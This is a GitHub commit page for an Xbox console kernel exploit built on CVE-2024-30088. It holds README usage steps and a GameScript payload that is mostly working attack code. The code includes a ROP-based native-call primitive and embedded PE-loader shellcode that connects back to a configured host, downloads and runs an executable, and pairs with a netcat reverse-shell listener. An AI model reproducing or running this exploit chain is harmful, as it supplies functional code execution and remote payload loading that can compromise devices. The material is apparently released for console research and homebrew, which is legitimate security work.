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Merge pull request #4 from xboxoneresearch/feat/add_solstice_nw_loader
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feat: Added solstice payload server and network-loading GameScript payload
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@carrot-c4k3
carrot-c4k3 authored Jul 18, 2024
2 parents f391895 + 83e93fb commit 3aca48f
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15 changes: 9 additions & 6 deletions README.md
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Collateral Damage is a kernel exploit for Xbox SystemOS using [CVE-2024-30088](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-30088).
It targets Xbox One and Xbox Series consoles running kernel versions 25398.4478, 25398.4908, and 25398.4909. The initial entrypoint is via the Game Script UWP application.

This exploit was developed by [Emma Kirkpatrick](https://x.com/carrot_c4k3) (vulnerability discovery & exploitation) and [Lander Brandt](https://x.com/landaire) ([PE loader](https://github.com/exploits-forsale/solstice) development)
The first stage payloads, PE loader and network loader are provided by [Solstice](https://github.com/exploits-forsale/solstice).

This exploit was developed by [Emma Kirkpatrick](https://x.com/carrot_c4k3) (vulnerability discovery & exploitation) and [Lander Brandt](https://x.com/landaire) (Solstice)

## Important Caveats
This initial release is largely intended for developers. Currently a way to place files into the `LocalState` directory of Game Script is required via an app such as [Adv File Explorer (FullTrust)](https://apps.microsoft.com/detail/9nbnjpsxfsqb).
This is due to the requirement of placing the `stage2.bin` and `run.exe` files onto into the `LocalState` directory. In the near future a payload will be supplied which will load those files over the network, so the initial payload will simply be
a script which can be inputted via a USB keyboard emulator.

To place the payload locally on the Xbox console a full-trust explorer like [Adv File Explorer (FullTrust)](https://apps.microsoft.com/detail/9nbnjpsxfsqb) is recommended. Alternatively, the initial payload can be served via a USB keyboard simulator (rubber ducky etc.) and further payload stages can then be loaded over the network.

The reverse shell example provided here requires that your console is connected to a network. When connecting your console to a network be very careful to avoid connecting to the internet and updating. Try to block connectivity to Xbox LIVE as
much as possible, at the very least by setting your DNS to invalid servers.

This exploit is not fully reliable. It relies on a CPU side channel as well as a race condition, both of which have the potential to fail. In the event of a failure, the exploit may alert you that it has failed via network output, or the console itself may crash and reboot.

## Usage
- Modify line 7 of `gamescript_autosave.txt` to contain the local IP of your PC.
- Copy `gamescript_autosave.txt`, `stage2.bin`, and `run.exe` to the `LocalState` directory of the Game Script application on your Console (`Q:\Users\UserMgr0\AppData\Local\Packages\27878ConstantineTarasenko.458004FD2C47C_c8b3w9r5va522\LocalState\`)

- Modify line 7 of `gamescript_autosave_network.txt` or `gamescript_autosave.txt` to contain the local IP of your PC.
- For use with Full-Trust File Explorer App: Copy `gamescript_autosave.txt`, `stage2.bin`, and `run.exe` to the `LocalState` directory of the Game Script application on your Console (`Q:\Users\UserMgr0\AppData\Local\Packages\27878ConstantineTarasenko.458004FD2C47C_c8b3w9r5va522\LocalState\`)
- For HID / Keyboard simulator input: Type the contents of `gamescript_autosave_network.txt` into the GameScript window. Serve `stage2.bin` and `run.exe` via `payload_server_win_x64.exe --stage2 stage2.bin --run run.exe`
- Listen on port 7070 on your PC using netcat or a similar tool (command example: `nc64.exe -lvnp 7070`)
- Open the Game Script application on your console and select "Show Code Run window" and click "Run code once"
- If the exploit is success you should see output on your PC that resembles the following:
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364 changes: 364 additions & 0 deletions solstice_artifacts/gamescript_autosave_network.txt
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//
// Collateral Damage - @carrot_c4k3 & @landaire - exploits.forsale
//

// !!! PUT YOUR IP BELOW !!!
// EX: var host_ip = "192.168.1.89"
var host_ip = "[YOUR IP HERE]"

// PE loader shellcode
let pe_loader_code = [
233,22,1,0,0,21,0,0,120,22,0,0,15,21,0,0,237,21,0,0,144,22,0,0,237,21,0,0,117,22,0,0,164,22,0,0,0,0,0,0,37,76,79,67,65,76,65,80,80,68,65,84,65,37,92,46,46,92,76,111,99,97,108,83,116,97,116,101,92,114,117,110,46,101,120,101,0,87,83,50,95,51,50,46,100,108,108,0,87,83,65,83,116,97,114,116,117,112,0,87,83,65,67,111,110,110,101,99,116,0,87,83,65,83,111,99,107,101,116,65,0,105,110,101,116,95,97,100,100,114,0,69,120,112,97,110,100,69,110,118,105,114,111,110,109,101,110,116,83,116,114,105,110,103,115,65,0,76,111,97,100,76,105,98,114,97,114,121,65,0,67,114,101,97,116,101,70,105,108,101,65,0,87,114,105,116,101,70,105,108,101,0,82,101,97,100,70,105,108,101,0,86,105,114,116,117,97,108,65,108,108,111,99,0,86,105,114,116,117,97,108,70,114,101,101,0,86,105,114,116,117,97,108,80,114,111,116,101,99,116,0,67,108,111,115,101,72,97,110,100,108,101,0,0,0,0,24,0,0,0,0,128,0,128,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,65,87,65,86,65,85,65,84,86,87,85,83,72,129,236,248,2,0,0,72,131,228,240,72,184,75,0,69,0,82,0,78,0,72,141,140,36,152,0,0,0,72,137,1,72,184,69,0,76,0,66,0,65,0,72,137,65,8,72,184,83,0,69,0,46,0,68,0,72,137,65,16,199,65,24,76,0,76,0,102,131,97,28,0,232,124,4,0,0,72,133,192,116,65,72,137,214,72,184,87,0,83,0,50,0,95,0,72,141,140,36,152,0,0,0,72,137,1,72,184,51,0,50,0,46,0,100,0,72,137,65,8,199,65,16,108,0,108,0,102,131,97,20,0,232,64,4,0,0,72,133,192,116,20,72,137,215,235,51,72,184,4,20,0,0,1,0,0,0,233,53,3,0,0,72,141,21,208,254,255,255,72,137,241,232,58,3,0,0,72,141,13,113,254,255,255,255,208,72,137,199,72,133,192,15,132,151,2,0,0,72,141,21,216,254,255,255,72,137,241,232,22,3,0,0,72,137,68,36,120,72,141,21,209,254,255,255,72,137,241,232,2,3,0,0,72,137,68,36,112,72,141,21,201,254,255,255,72,137,241,232,238,2,0,0,72,137,68,36,104,72,141,21,125,254,255,255,72,137,241,232,218,2,0,0,73,137,197,72,141,21,129,254,255,255,72,137,241,232,200,2,0,0,73,137,199,72,141,21,101,254,255,255,72,137,241,232,182,2,0,0,72,137,68,36,88,72,141,21,140,254,255,255,72,137,241,232,162,2,0,0,72,137,68,36,96,72,141,21,10,254,255,255,72,137,241,232,142,2,0,0,72,137,195,72,141,21,205,253,255,255,72,137,249,232,124,2,0,0,72,137,197,72,141,21,209,253,255,255,72,137,249,232,106,2,0,0,73,137,198,72,141,21,180,253,255,255,72,137,249,232,88,2,0,0,72,137,198,72,141,21,184,253,255,255,72,137,249,232,70,2,0,0,72,137,199,72,141,13,85,253,255,255,76,141,164,36,48,2,0,0,76,137,226,65,184,200,0,0,0,255,211,72,131,100,36,48,0,199,68,36,40,128,0,0,0,199,68,36,32,2,0,0,0,76,137,225,186,0,0,0,64,69,49,192,69,49,201,65,255,213,73,137,196,72,141,148,36,152,0,0,0,102,185,2,2,255,213,131,100,36,40,0,72,131,100,36,32,0,185,2,0,0,0,186,1,0,0,0,65,184,6,0,0,0,69,49,201,65,255,214,72,137,197,185,0,0,0,68,255,215,72,141,148,36,136,0,0,0,199,2,2,0,31,144,137,66,4,72,131,98,8,0,72,131,100,36,48,0,72,131,100,36,40,0,72,131,100,36,32,0,72,137,233,65,184,16,0,0,0,69,49,201,255,214,76,141,76,36,68,65,131,33,0,72,141,84,36,72,131,34,0,72,131,100,36,32,0,72,137,233,65,184,4,0,0,0,65,255,215,133,192,15,132,208,0,0,0,139,124,36,72,15,207,49,201,72,137,250,65,184,0,16,0,0,65,185,4,0,0,0,72,139,92,36,120,255,211,72,137,198,72,131,100,36,32,0,76,141,76,36,68,72,137,233,72,137,194,65,137,248,65,255,215,137,193,184,3,0,0,16,133,201,15,132,10,1,0,0,57,124,36,68,15,133,0,1,0,0,72,141,84,36,76,131,34,0,72,131,100,36,32,0,76,141,76,36,68,72,137,233,65,184,4,0,0,0,65,255,215,133,192,116,111,76,137,100,36,80,68,139,108,36,76,65,15,205,49,201,76,137,234,65,184,0,16,0,0,65,185,4,0,0,0,255,211,73,137,196,72,141,92,36,68,77,137,238,77,133,246,126,70,76,137,234,76,41,242,76,1,226,72,131,100,36,32,0,72,137,233,69,137,240,73,137,217,65,255,215,133,192,15,132,133,0,0,0,139,68,36,68,73,41,198,235,207,184,2,0,0,16,235,122,72,184,4,36,0,0,1,0,0,0,235,110,184,4,0,0,16,235,103,76,141,140,36,128,0,0,0,65,131,33,0,72,137,241,72,137,250,65,184,32,0,0,0,255,84,36,104,76,141,140,36,132,0,0,0,65,131,33,0,72,131,100,36,32,0,72,139,124,36,80,72,137,249,76,137,226,69,137,232,255,84,36,88,76,137,225,49,210,65,184,0,128,0,0,255,84,36,112,72,137,249,72,139,124,36,96,255,215,72,137,233,255,215,255,214,235,5,184,5,0,0,16,72,129,196,248,2,0,0,91,93,95,94,65,92,65,93,65,94,65,95,195,65,87,65,86,65,85,65,84,86,87,85,83,102,129,57,77,90,15,133,159,0,0,0,139,65,60,139,132,1,136,0,0,0,68,139,76,1,24,68,139,68,1,28,68,139,92,1,32,68,139,84,1,36,49,192,69,49,228,77,57,204,15,132,142,0,0,0,73,141,124,36,1,68,137,230,65,141,28,179,139,28,25,128,60,25,0,73,137,252,116,223,72,1,203,73,199,199,255,255,255,255,69,49,228,77,137,230,66,128,124,59,1,0,77,141,127,1,77,141,100,36,1,117,236,73,199,197,255,255,255,255,66,128,124,42,1,0,77,141,109,1,117,244,73,137,252,77,57,253,117,163,69,49,255,73,131,238,1,114,26,66,138,44,58,77,141,103,1,66,58,44,59,77,137,231,116,233,73,137,252,235,132,49,192,235,23,65,141,4,114,15,183,4,1,37,255,63,0,0,65,141,4,128,139,4,1,72,1,200,91,93,95,94,65,92,65,93,65,94,65,95,195,86,101,72,139,4,37,96,0,0,0,72,139,80,24,72,131,194,16,49,192,73,137,208,77,139,72,96,77,133,201,116,83,73,199,195,255,255,255,255,49,246,73,137,242,102,67,131,124,89,2,0,77,141,91,1,72,141,118,1,117,236,72,199,198,255,255,255,255,102,131,124,113,2,0,72,141,118,1,117,244,76,57,222,117,30,69,49,219,73,131,234,1,114,31,67,15,183,52,25,102,66,51,52,25,73,131,195,2,102,247,198,223,255,116,229,77,139,0,73,57,208,117,156,235,9,73,139,80,48,184,1,0,0,0,94,195,204,204,204,1,19,10,0,19,1,95,0,12,48,11,80,10,112,9,96,8,192,6,208,4,224,2,240,1,12,8,0,12,48,11,80,10,112,9,96,8,192,6,208,4,224,2,240,1,1,1,0,1,96,0,0
]


// hex printing helper functions
let i2c_map = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F']
let c2i_map = {'0': 0, '1': 1, '2': 2, '3': 3, '4': 4, '5': 5, '6': 6, '7': 7, '8': 8, '9': 9, 'A': 0xA, 'B': 0xB, 'C': 0xC, 'D': 0xD, 'E': 0xE, 'F': 0xF}

fn hex_to_num(s) {
var str_len = len(s)
var res = 0
for (var i = 0; i < str_len; i++)
{
res = res << 4
res = res + c2i_map[s[i]]
}
return res
}

fn num_to_hex(num, byte_count) {
if (byte_count > 8) {
byte_count = 8
}
var res = ""
for (var i = 0; i < byte_count * 2; i++) {
var idx = (num >> (4 * i)) & 15
res = i2c_map[idx] + res
}
return res
}

fn num_to_hex8(num) {
return num_to_hex(num, 1)
}

fn num_to_hex16(num) {
return num_to_hex(num, 2)
}

fn num_to_hex32(num) {
return num_to_hex(num, 4)
}

fn num_to_hex64(num) {
return num_to_hex(num, 8)
}

fn hex_dump(addr, count) {
for (var i = 0; i < count; i++) {
if (i > 0 && (i % 16) == 0) {
printConsole("\n")
}
var cur_byte = pointerGetUnsignedInteger8Bit(0, addr + i)
printConsole(num_to_hex8(cur_byte) + " ")
}
}

fn array_fill(arr) {
var arr_len = len(arr)
for (var i = 0; i < arr_len; i++) {
arr[i] = 0x41
}
}

fn round_down(val, bound) {
return floor(val - (val % bound))
}

fn array_compare(a1, a2) {
if (len(a1) != len(a2)) {
return false
}
var arr_len = len(a1)

for (var i = 0; i < arr_len; i++) {
if (a1[i] != a2[i]) {
return false
}
}

return true
}

// shorthand helpers for memory access
fn write8(addr, val) {
pointerSetUnsignedInteger8Bit(0, addr, val)
}

fn read8(addr) {
return pointerGetUnsignedInteger8Bit(0, addr)
}

fn write16(addr, val) {
pointerSetAtOffsetUnsignedInteger16Bit(0, addr, val)
}

fn read16(addr) {
return pointerGetAtOffsetUnsignedInteger16Bit(0, addr)
}

fn write32(addr, val) {
pointerSetAtOffsetUnsignedInteger(0, addr, val)
}

fn read32(addr) {
return pointerGetAtOffsetUnsignedInteger(0, addr)
}


fn write64(addr, val) {
pointerSetAtOffsetUnsignedInteger64Bit(0, addr, val)
}

fn read64(addr) {
return pointerGetAtOffsetUnsignedInteger64Bit(0, addr)
}

// helper to read a 64-bit val and automatically make it a hex str
fn read64_hex(addr) {
var val_low = read32(addr)
var val_high = read32(addr+4)
return num_to_hex32(val_high) + num_to_hex32(val_low)
}

fn read_buf(addr, buf) {
var buf_len = len(buf)
for (var i = 0; i < buf_len; i++) {
buf[i] = read8(addr + i)
}
}

fn write_buf(addr, buf) {
var buf_len = len(buf)
for (var i = 0; i < buf_len; i++) {
write8(addr+i, buf[i])
}
}

fn find_bytes(addr, max_len, pattern, buf) {
for (var i = 0; i < max_len; i++) {
read_buf(addr + i, buf)
if (array_compare(pattern, buf)) {
return addr + i
}
}
return 0
}

fn find64(addr, max_len, v) {
var offset = 0
while (1) {
var temp_val = read64(addr+offset)
if (temp_val == v) {
return addr+offset
}
offset += 8
}
return 0
}

// shorthand funcs
fn ptr_to_num(p) {
return numberFromRaw64BitUnsignedInteger(p)
}

fn make_cstr(s) {
var str_len = len(s) + 1
var s_ptr = globalArrayNew8Bit(s, str_len)
pointerSetString(s_ptr, 0, s)
return ptr_to_num(s_ptr)
}

var gs_base = 0
var ntdll_base = 0
var kernelbase_base = 0
var longjmp_ptr = 0
var setjmp_ptr = 0
var gadget_ptr = 0
var gadget_rsp0x48_ptr = 0
var gadget_pushrax_ptr = 0
fn call_native(func_ptr, rcx, rdx, r8, r9) {
// set this gadget here
gadget_rsp0x48_ptr = gs_base + 0xE04B
gadget_pushrax_ptr = gs_base + 0x1F13A
var call_done = false

// allocate 0x120 (space for vtable + setjmp data)
var obj_ptr = globalArrayNew8Bit("call", 0x100)
var objp = ptr_to_num(obj_ptr)
var vt_ptr = globalArrayNew8Bit("vtable", 0x18)
var vtp = ptr_to_num(vt_ptr)
var stack_size = 0x4000
var stack_ptr = globalArrayNew8Bit("stack", stack_size)
var stackp = ptr_to_num(stack_ptr)
var jmpctx_ptr = globalArrayNew8Bit("jctx", 0x100)
var jcp = ptr_to_num(jmpctx_ptr)

// set up vtable pointers
write64(vtp+8, setjmp_ptr)
write64(objp, vtp)

// trigger vtable call
slBus_destroy(obj_ptr)

memcpy(jmpctx_ptr, 0, obj_ptr, 0, 0x100)

// set up our rop chain
var r10 = 0
var r11 = 0
write64(stackp+stack_size-0xA0, rdx)
write64(stackp+stack_size-0x98, rcx)
write64(stackp+stack_size-0x90, r8)
write64(stackp+stack_size-0x88, r9)
write64(stackp+stack_size-0x80, r10)
write64(stackp+stack_size-0x78, r11)
write64(stackp+stack_size-0x70, func_ptr)
write64(stackp+stack_size-0x68, gadget_pushrax_ptr)
// 0x30 bytes of padding
write64(stackp+stack_size-0x38, 0x15151515)
write64(stackp+stack_size-0x30, gs_base+0x109C4A)
write64(stackp+stack_size-0x28, jcp)
write64(stackp+stack_size-0x20, longjmp_ptr);

// set up the context to do the longjmp
write64(vtp+8, longjmp_ptr)
write64(objp, vtp)
// rsp
write64(objp+0x10, stackp+stack_size-0xA0)
// rip
write64(objp+0x50, gadget_ptr)

// trigger vtable call
slBus_destroy(obj_ptr)
var ret_val = read64(stackp+stack_size-0x68)

// clean up our objects
globalArrayDelete("call")
globalArrayDelete("vtable")
globalArrayDelete("stack")
globalArrayDelete("jctx")

return ret_val
}

fn find_module_base(addr) {
var search_addr = round_down(addr, 0x10000)

while (1) {
var magic_static = [0x4D, 0x5A]
var magic_read = [0, 0]
read_buf(search_addr, magic_read)

if (array_compare(magic_static, magic_read)) {
return search_addr
}
search_addr -= 0x10000
}
return 0
}

fn get_dll_exports(base_addr) {
var res = {}
var magic_static = [0x4D, 0x5A]
var magic_read = [0, 0]
read_buf(base_addr, magic_read)

if (!array_compare(magic_static, magic_read)) {
printConsole("Magic is invalid!\n")
return res
}


var e_lfanew = read32(base_addr+0x3c)
var exports_addr = base_addr + read32(base_addr+e_lfanew+0x70+0x18)

var num_funcs = read32(exports_addr+0x14)
var num_names = read32(exports_addr+0x18)

var funcs_addr = base_addr + read32(exports_addr+0x1c)
var names_addr = base_addr + read32(exports_addr+0x20)
var ords_addr = base_addr + read32(exports_addr+0x24)

for (var i = 0; i < num_names; i++) {
var name_addr = base_addr + read32(names_addr + (4 * i))
var name_str = pointerGetSubstring(0, name_addr, 0x20)
var ordinal = read16(ords_addr + (2 * i))
var func_addr = base_addr + read32(funcs_addr + (4 * ordinal))
res[name_str] = func_addr
//printConsole("Export: " + name_str + " - " + num_to_hex64(func_addr) + "\n")
}

return res
}

var VirtualAlloc_ptr = 0
var VirtualProtect_ptr = 0
fn map_code(code) {
var code_addr = call_native(VirtualAlloc_ptr, 0, 0x100000, 0x3000, 4)
write_buf(code_addr, code)

var oldp_ptr = globalArrayNew8Bit("oldp", 0x100)
var oldpp = ptr_to_num(oldp_ptr)
call_native(VirtualProtect_ptr, code_addr, 0x100000, 0x20, oldpp)
return code_addr
}

fn map_page(addr) {
var code_addr = call_native(VirtualAlloc_ptr, addr, 0x100000, 0x3000, 4)
return code_addr
}


// create and dump our object to the terminal
var slbus_ptr = slBus_create()
var slp = numberFromRaw64BitUnsignedInteger(slbus_ptr)

// get the base of the GameScript module via the vtable
gs_base = read64(slp) - 0x16faf8

ntdll_base = find_module_base(read64(gs_base + 0x125398))
kernelbase_base = find_module_base(read64(gs_base + 0x1253A0))

var setjmp_bytes = [0x48,0x89,0x11,0x48,0x89,0x59,0x08,0x48,0x89,0x69,0x18,0x48,0x89,0x71,0x20,0x48]
var longjmp_bytes = [0x48,0x8B,0xC2,0x48,0x8B,0x59,0x08,0x48,0x8B,0x71,0x20,0x48,0x8B,0x79,0x28,0x4C]
var tmp_bytes = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]

setjmp_ptr = find_bytes(ntdll_base, 0x217000, setjmp_bytes, tmp_bytes)
longjmp_ptr = find_bytes(ntdll_base, 0x217000, longjmp_bytes, tmp_bytes)

// bytes for the following gadget: pop rdx;pop rcx;pop r8;pop r9;pop r10;pop r11; ret
var gadget_bytes = [0x5A, 0x59, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x41, 0x5B, 0xC3]
tmp_bytes = [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
gadget_ptr = find_bytes(ntdll_base, 0x217000, gadget_bytes, tmp_bytes)


// get the ntdll & kernel base exports and find VirtualAlloc/Protect
var kernelbase_exports = get_dll_exports(kernelbase_base)
var ntdll_exports = get_dll_exports(ntdll_base)
VirtualAlloc_ptr = kernelbase_exports["VirtualAlloc"]
VirtualProtect_ptr = kernelbase_exports["VirtualProtect"]
var VirtualFree_ptr = kernelbase_exports["VirtualFree"]


// allocate our token info buffer
var tinfo_ptr = globalArrayNew8Bit("tinfo", 0x2000)
var tinfop = ptr_to_num(tinfo_ptr)

// write the ip to the global page
var global_page = map_page(0x44000000)
pointerSetString(0, global_page, host_ip)

// map the pe loader
var pe_loader_ptr = map_code(pe_loader_code)
var pe_ret = call_native(pe_loader_ptr, 0, 0, 0, 0)
Binary file added solstice_artifacts/payload_server_win_x64.exe
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